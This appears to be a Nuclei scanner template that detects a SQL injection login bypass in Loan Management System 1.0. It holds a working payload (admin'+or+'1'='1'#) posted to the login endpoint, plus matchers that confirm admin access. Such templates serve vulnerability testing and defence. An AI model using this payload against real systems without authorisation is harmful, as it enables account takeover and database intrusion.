48 lines
1.6 KiB
YAML
48 lines
1.6 KiB
YAML
id: loancms-sqli
|
|
|
|
info:
|
|
name: Loan Management System 1.0 - SQL Injection
|
|
author: arafatansari
|
|
severity: critical
|
|
description: |
|
|
Loan Management System 1.0 contains a SQL injection vulnerability via the username parameter. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
|
|
reference:
|
|
- https://www.exploit-db.com/exploits/50402
|
|
- https://packetstormsecurity.com/files/167860/Loan-Management-System-1.0-SQL-Injection.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 10
|
|
cwe-id: CWE-89
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
tags: auth-bypass,cms,packetstorm,edb,loancms,sqli
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /ajax.php?action=login HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
username=admin'+or+'1'%3D'1'%23&password={{rand_base(5)}}
|
|
- |
|
|
GET /index.php?page=home HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'window.start_load'
|
|
- 'Welcome back Admin'
|
|
- 'Loan Management System'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'login-form'
|
|
negative: true
|
|
# digest: 490a00463044022070070b706bccbcd440ec5014a4d83596b9f89dd99afeb3a3b1012cf0aa9eac6e02207c79ad7639b2cefe47e3917b31939d3cea7027a46ad24696337d0513195b4e52:922c64590222798bb761d5b6d8e72950 |